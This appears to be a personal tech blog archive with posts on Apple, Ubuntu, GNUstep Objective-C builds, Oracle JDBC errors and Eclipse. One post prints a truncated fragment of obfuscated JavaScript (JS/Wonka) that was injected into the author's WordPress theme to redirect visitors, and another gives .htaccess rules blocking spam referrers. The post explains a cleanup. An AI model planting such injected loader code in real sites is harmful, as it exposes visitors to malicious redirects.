Michaelzanussi.com header image

Those Pesky Laws of Physics

Steve Jobs offers up his non-apology on iPhone 4 antenna issues, and goes into full defense mode. Here’s your rubber bumper.

Memo to Steve: Fix the problem instead of offering up a workaround. And quit being a jerk.

In other news, only three weeks left to the GMAT. (Yeah, after three months of study, I’m close to burning out… onward!)

RIP, Macintosh?

Yeah, not much mention, if any, of Mac at WWDC this week, but it’s hardly the beginning of the end for iMacs and MacBook Pros. The iPad is hardly the preferred platform for developing apps or useful work with Final Cut Pro or Aperture, for example.

Bah, Lyons is reaching here.

No So Lucid Lynx

Since upgrading to Ubuntu 10.04, my trusty ThinkPad hangs on shutdown about 75% of the time. I see on the forums this is a known issue.

Lucid Lynx will gracefully power off when the shutdown background is blue; otherwise, it’ll just sit there. Waiting, and waiting, and waiting…

There are problems with the logo, too. It looks like this whether the shutdown is successful or not.

Joy Division

18 May 1980.

Wow, 30 years since Ian Curtis died. His death was the end of Joy Division, but ultimately the beginning of New Order.

RIP.

Compiling Objective-C Programs in Windows

This post was derived from an article on compiling Objective-C programs in Windows using gcc under GNUstep. That great article also provides details on compiling in Linux and Mac OS X (outside Xcode).

1) Download and install GNUstep System and GNUstep Core. I used 0.24.2 stable release of GNUstep to compile these notes but they may work under newer versions.

2) Run msys.bat which, if you installed GNUstep with the defaults, will be located in C:\GNUstep.

3) Change to home directory (/home/username) containing your Objective-C source.

4) Create the hello.m source.

/******************* hello.m ***********************/
#import <Foundation/Foundation.h>

@interface HelloWorld : NSObject
 - (void) hello;
@end

@implementation HelloWorld
- (void) hello {
  NSLog(@"hello world!");
}
@end

int main(void) {
  HelloWorld *hw = [[HelloWorld alloc] init];
  [hw hello];
  [hw release];
}

/******************* end ***********************/

5) Compile the application.

gcc `gnustep-config --objc-flags` -o hello hello.m -L /GNUstep/System/Library/Libraries -lobjc -lgnustep-base

If that doesn’t work try:

gcc -o hello hello.m -I /GNUstep/System/Library/Headers -L /GNUstep/System/Library/Libraries -lobjc -lgnustep-base -fconstant-string-class=NSConstantString

or

gcc `gnustep-config --objc-flags` -o hello hello.m -I /GNUstep/System/Library/Headers -L /GNUstep/System/Library/Libraries -lobjc -lgnustep-base -enable-auto-import

All three of these commands worked fine for me.

6) Run ./hello

7) Optionally, you can compile using make. To do so create a GNUmakefile in your home directory where your Objective-C files are located.

include $(GNUSTEP_MAKEFILES)/common.make
TOOL_NAME = hello
hello_OBJC_FILES = hello.m
include $(GNUSTEP_MAKEFILES)/tool.make

Now run make.

Run ./hello which will be in the obj directory under your home directory.

ORA-06580: PL/SQL: could not find program unit being called

Our IVR application started receiving an ORA-06580 error from a certain stored procedure after a separate but related package was pushed into production the day earlier. The package had compiled fine, was a valid package, and had all necessary execute privileges assigned to its users. The DBAs could not find any issues with the package or procedure whatsoever.

The procedure ran successfully without error for various users, yet the error only occurred for a single user – the data source user that we have specified in the app server (OAS). Assuming that there might be a stale or invalid JDBC connection or some issue with connection pooling, it was decided to restart the wireless containers on the application server. And sure enough, the error went away.

I’m still scratching my head on this one because in the 5 years that we’ve been running Oracle application server, this is the first time that the containers had to be bounced after a production database update. Not sure if this is a one-off event that will never come up again, or if we’re going to have to repeat the process for every production push from now on.

To summarize,

Problem: ORA-06580: PL/SQL: could not find program unit being called
Fix: Restart the OAS containers.

QQ829

I was checking out my visitor stats this evening and noticed a large number of hits coming from China with a referring URL of http://www.qq829.com/web_stat.asp?dn=www.example.com that seemed strange and out-of-place.

Apparently, it’s not a good idea to click on these links:

(W)e have received reports of nearly 600 Scripting Exploits, along with nearly 60 General Exploits, and at least 11 pieces of malware including Trojan Horses.

There is, however, a .htaccess fix that seems to be working for me in blocking this traffic:

RewriteEngine on
# Options +FollowSymlinks
RewriteCond %{HTTP_REFERER} cnzz\.cn [NC,OR]
RewriteCond %{HTTP_REFERER} qq829\.com [NC]
RewriteRule .* - [F]

Evolution of Product Packaging

The IT support geek as a hand sanitizer container:

James Gosling

The “father of Java” resigned from Sun Oracle a few weeks ago. Not sure if that is a bad omen for the future of Java or not, but these types of things tend happen when one company takes over another. The tone of his post certainly points to an unpleasant departure, but at least he started a new blog and took all his Sun posts with him.

His book The Java Programming Language was one of the very first books I read on Java, and I’d describe it as a necessary book if you are going to develop using Java.

Bigger Type Length Than Maximum

Problem: Connecting to an Oracle 10g database via Oracle JDBC driver and Java 1.4.2, generates the following SQLException:

Establishing connection with jdbc:oracle:thin:@bomdev:1521:DEV1... Connected!
java.sql.SQLException: Bigger type length than Maximum
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:125)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:162)
	at oracle.jdbc.driver.DatabaseError.check_error(DatabaseError.java:885)
	at oracle.jdbc.driver.T4CMAREngine.buffer2Value(T4CMAREngine.java:2202)
	at oracle.jdbc.driver.T4CMAREngine.unmarshalUB4(T4CMAREngine.java:1150)
	at oracle.jdbc.driver.T4CMAREngine.unmarshalDALC(T4CMAREngine.java:2076)
	at oracle.jdbc.driver.T4C8TTIuds.unmarshal(T4C8TTIuds.java:132)
	at oracle.jdbc.driver.T4CTTIdcb.receiveCommon(T4CTTIdcb.java:126)
	at oracle.jdbc.driver.T4CTTIdcb.receiveFromRefCursor(T4CTTIdcb.java:104)
	at oracle.jdbc.driver.T4CResultSetAccessor.unmarshalOneRow(T4CResultSetAccessor.java:167)
	at oracle.jdbc.driver.T4CTTIrxd.unmarshal(T4CTTIrxd.java:792)
	at oracle.jdbc.driver.T4CTTIrxd.unmarshal(T4CTTIrxd.java:708)
	at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:530)
	at oracle.jdbc.driver.T4CCallableStatement.doOall8(T4CCallableStatement.java:181)
	at oracle.jdbc.driver.T4CCallableStatement.execute_for_rows(T4CCallableStatement.java:784)
	at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1027)
	at oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.java:2885)
	at oracle.jdbc.driver.OraclePreparedStatement.execute(OraclePreparedStatement.java:2976)
	at oracle.jdbc.driver.OracleCallableStatement.execute(OracleCallableStatement.java:4112)
	at com.pnm.utils.banner.StoredProc.execute(StoredProc.java:61)
	at com.pnm.utils.banner.StoredProc.testAddress(StoredProc.java:186)
	at com.pnm.utils.banner.StoredProc.main(StoredProc.java:569)
java.sql.SQLException: Protocol violation
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:125)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:162)
	at oracle.jdbc.driver.DatabaseError.check_error(DatabaseError.java:885)
	at oracle.jdbc.driver.T4C7Ocommoncall.receive(T4C7Ocommoncall.java:136)
	at oracle.jdbc.driver.T4CConnection.logoff(T4CConnection.java:388)
	at oracle.jdbc.driver.PhysicalConnection.close(PhysicalConnection.java:1047)
	at com.pnm.utils.banner.StoredProc.closeConnection(StoredProc.java:70)
	at com.pnm.utils.banner.StoredProc.main(StoredProc.java:609)

Per the manifest in ojdbc14.jar:

Manifest-Version: 1.0
Implementation-Version: "Oracle JDBC Driver version - 10.1.0.3.0"
Specification-Title:    "Oracle JDBC driver classes for use with JDK1
.4"
Specification-Version:  "Oracle JDBC Driver version - 10.1.0.3.0"
Implementation-Title:   "ojdbc14.jar"
Created-By: 1.2.2 (Sun Microsystems Inc.)
Implementation-Time:    "Thu Jul 15 02:16:50 2004"
Implementation-Vendor:  "Oracle Corporation"
Specification-Vendor:   "Oracle Corporation" .

Solution: Try an updated version of ojdbc14.jar which can be downloaded here. For this particular issue, the manifests for the following libraries resolved the exception:

Manifest-Version: 1.0
Implementation-Version: "Oracle JDBC Driver version - 10.1.0.5.0"
Specification-Title:    "Oracle JDBC driver classes for use with JDK1.
 4"
Specification-Version:  "Oracle JDBC Driver version - 10.1.0.5.0"
Implementation-Title:   "ojdbc14.jar"
Created-By: 1.2.2 (Sun Microsystems Inc.)
Implementation-Time:    "Wed Dec 28 05:06:13 2005"
Implementation-Vendor:  "Oracle Corporation"
Specification-Vendor:   "Oracle Corporation" .

and

Manifest-Version: 1.0
Specification-Title:    Oracle JDBC driver classes for use with JDK14
Sealed: true
Created-By: 1.4.2_08 (Sun Microsystems Inc.)
Implementation-Title:   ojdbc14.jar
Specification-Vendor:   Oracle Corporation
Specification-Version:  Oracle JDBC Driver version - "10.2.0.3.0"
Implementation-Version: Oracle JDBC Driver version - "10.2.0.3.0"
Implementation-Vendor:  Oracle Corporation
Implementation-Time:    Fri Sep 29 09:43:24 2006

Name: oracle/sql/converter/
Sealed: false

Name: oracle/sql/
Sealed: false

Name: oracle/sql/converter_xcharset/
Sealed: false

iDone, Revisited

As I wrote a few months back, I became a bit dismayed by Apple’s closed architecture on the iPhone, iPod, and continuing now with the iPad.

Andrew Sullivan today linked to an interesting article on the growing “MacSchism” regarding Apple’s tight control over its products, the article ending with a great observation by Umberto Eco:

Over 15 years ago, at the dawn of the Web, Umberto Eco observed that the Mac was Catholic in its gentle, aesthetically “sumptuous” guidance, DOS Protestant in its burdens on the individual, and Windows a kind of Anglican compromise. (Linux and open source, which appeared after this essay, might be compared to the more radically democratic Reformation movements.) So perhaps the early Mac enthusiasts misunderstood the deepest foundations of Apple’s culture. Wasn’t Mr. Johnson’s preferred metaphor, the enclosed garden, a theme of the Song of Songs that became one of the most beautiful literary and visual images of (and sometimes metaphors for) the medieval Church?

The Eccentricity of Kraftwerk

Mannequins, robots, and ringerless phones. From Wikipedia:

The band is notoriously reclusive; providing rare and enigmatic interviews, using life size mannequins and robots to conduct official photo shoots, refusing to accept mail and not allowing visitors at Kling Klang Studio. Another notable example of this eccentric behavior was reported to Johnny Marr of The Smiths by Karl Bartos, who explained that anyone trying to contact the band for collaboration would be told the studio telephone did not have a ringer, since during recording, the band did not like to hear any kind of noise pollution. Instead, callers were instructed to phone the studio precisely at a certain time, whereupon the phone would be answered by Ralf Hütter, despite never hearing the phone ring.

JInitiator Causing Internet Explorer To Crash

Problem: Attempting to launch an Oracle Forms web application is causing Internet Explorer to crash, specifically IE is complaining about the Oracle JInitiator JVM, jvm.dll. Apparently Oracle’s JVM (1.3.1.22) is incompatible with IE7. Here’s the familiar crash dialog; turns out it’s a nice paint brush:

The Fix: Fortunately, resolving this is easy, you’ll just need access to Sun’s JRE. You can find the problematic jvm.dll in the \Program Files\Oracle\JInitiator 1.3.1.xx\bin\hotspot directory. Rename jvm.dll (or just delete it) and replace it with Sun’s version, which, if the JRE is installed on your system, is probably located at \Program Files\Java\jre1.x.x\bin\client. Once installed, fire up IE and run the web app again, all should be well.

I’ve tested this with JRE versions 1.4.2.130 and 5.0.210.1. This fix would not work with v6 DLLs, as it would simply cause IE to rudely crash, with no helpful crash dialog at all.

Lotus Notes

It brings back many memories, all unpleasant. Yes, it does suck that bad.

A Geek and the GMAT

I decided recently to consider returning to school on a part-time basis to earn my MBA. Beyond understanding the practical or metaphysical reasons of why I want to go to business school, something that hopefully I will cover brilliantly in my Statement of Purpose, one of the first items on the potential grad student’s checklist is to take the entrance exam. For those seeking an MBA, that would typically be the GMAT…

continue reading

JS/Wonka

I’m still not sure how it happened, but somehow my blog was infected with the JS/Wonka trojan at some point in the last few weeks.

I knew something was amiss when I tried to reach michaelzanussi.com from the office and was immediately redirected to the company’s “This Website has been Blocked” page. The vague reason given was for “malicious code”. Shocking to see that, to say the least.

Back at home, things looked okay for a few seconds until I noticed being redirected to some random sites (superpages.com, primosearch.com, blueseek.com, hellometro.com, etc., and a few dreaded IPs that who knows housed what nefarious things.) I encountered the same behavior with Chrome and Firefox, but not with Safari. When I tried in IE on my wife’s Window’s netbook, McAfee actually identified the trojan and removed it prior to rendering.

With that info in hand and a few minutes research, I found the problem in the WordPress theme file header.php. Someone/thing had inserted some malicious JavaScript. I won’t repeat the whole string here, it came in at 1989 bytes, but it was pretty obvious this was alien code that did not belong:

<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Doepx

…snip…

/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1')</script>

It was a simple matter of deleting the offending code, and now, it appears, the problem is resolved.

2/25/2010 Update: As of last night, I’d been running WordPress 2.7.1 for quite some time and I’m starting to wonder if there is a way to exploit earlier WP versions that would allow anyone to create users with Admin privileges. After deleting a bunch of users last night, I noticed a new user setup as an Admin tonight. I’ve since upgraded to 2.9.2, we’ll see if it has any affect.

I also wrote a quick Java app to decode the obfuscated JavaScript that was injected, and it looks like the redirects have been routing through itsallbreaksoft.net and then redirecting elsewhere. It didn’t take long to find a lot of recent blog activity related to this exploit, and at this time doesn’t seem to make much sense to post a code analysis here, you can read a good summary at TechnoSocial.

Ugh.

Oracle Completes Acquisition of Sun.

How ’bout that iPad though? All hype, or not?

Please God Make It Stop Make It End

Making the rounds on the ‘net, geek film criticism at its finest, the 7-part 70 minute review of Star Wars Episode I: The Phantom Menace. Not to be missed, even by the non-geeks out there. Enjoy.

Part 1:

Part 2:

Part 3:

Part 4:

Part 5:

Part 6:

Part 7:

Firefox Memory Leak

I can’t blame Windows on this one. I’d been noticing significant performance degradation of my office PC and it would appear to be a memory leak of some sort in Firefox 3.5.6:

firefox_memory_leak

Yikes, that’s not good. Might be an add-on or something. Guess I’ll have to try and narrow that down at some point, but quite honestly, I’m not in the mood to troubleshoot the problem. I’ll just restart Firefox:

firefox_gpf

Now it just GPFs after 5 minutes shutting the app down. Can’t be too surprised, I guess, a 1034K memory leak might lead to such things.

firefox_gpf2

I’m not at all familiar with xul.dll, not sure if it’s the root cause or simply a side effect, but I guess it’s a good enough starting point. Off to Google after a reboot!

Plain Letter

With World of Warcraft patch 3.3, you get an extra bonus with your expired AH items:

plain_letter_14340

0:0:14340:360:0

iDone

I’ve been playing around with the iPhone SDK for a few months now. They’re cool devices and developing iPhone/iPod touch apps is a lot of fun.

But, I’m not so enamored with the platform that I’ll likely continue developing for it anymore. Apple tightly controls development on the devices, and that closed of a system is a big turn-off for me. From requiring $100 to join Apple Developer Connection so I can deploy to my own device to their App Store review and approval process, I’m just not sure it’s worth much more of my time, more so now that Android is running wild ( a serious iPhone threat, mark my words.)

For now, I’ll go back to Mac development.

My Yahoo! Content Strangeness

Adding and using new content in My Yahoo! in the form of an RSS or Atom feed usually works great. Sometimes, though, things go haywire. A common example is the “Oops! There was a problem loading this content. Please check back later.” message where content would normally be. But that typically clears itself up with a page reload.

Recently, though, Yahoo! has been having a little problem with some of my content. With most content, you hover your mouse over the title bar where the content title is located and you’ll see the URL displayed in the status bar. For some bizarre reason, however, although the title on the problematic context says michaelzanussi.com, it’s actually pointing to jaysonknight.com:

yahoo_rss_content

It’s been like that for a week now. Odd, huh? So far, I haven’t found any references to this issue on the web, but that’s probably due to how I’m searching for it. Adding the RSS feed again resolves the problem, but it would be interesting to find out what’s going on here.

Hover Not Working as Expected While Debugging in Eclipse

I recently upgraded Eclipse to the latest version Galileo (build 20090920-1017) and noticed immediately that values are no longer displayed when you hover your mouse over a variable while debugging. Hover in Debug perspective was behaving the same as in Java perspective:

debug_hover_broken

I tried the usual stuff like cleaning the project or re-importing the project, verifying settings and preferences, but nothing had an effect. In fact, this problem was occurring in every project in my workspace.

What ultimately fixed this issue was something I would never have guessed unless I just stumbled upon it by accident. Which, of course, I did. The solution? Renaming the package (Refactor -> Rename...) Now, hover is working just fine, in all projects:

debug_hover_working

I’m still scratching my head as to why this solved my problem.

Edited to add: I posted this over at Stack Overflow and one of the suggestions was to go into Window -> Preferences -> Java -> Editor -> Hovers and select the Variable Values option and assign a modifier.

When I was first trying to resolve this issue, this was one of the options I looked at, but oddly enough, there was no Variable Values preference available, it was missing. Once my “fix” above was applied, it magically appeared:

hovers_preferences

What exactly did renaming the package do here, and why would it have such widespread consequences? Strange.

This application has failed to start

Problem: Serena’s Dimensions CM diff tool generates “There has been a problem launching the diff/merge tool…” errors:

serena_dimensions

Analysis: The problem actually lies with pvcsmerge.exe and the issue is easy to recreate outside Dimensions. On running pvcsmerge.exe, the following error is generated: This application has failed to start because the application configuration is incorrect. Reinstalling the application may fix the problem.

pvcsmerge

Solution: Install the updated Visual C++ 2005 SP1 Redistributable Package. For more information on this particular issue, take a look here and here.

Bad Karma

It’s probably not a good sign to see this since upgrading to Karmic Koala:

ubuntu_kernel_problem2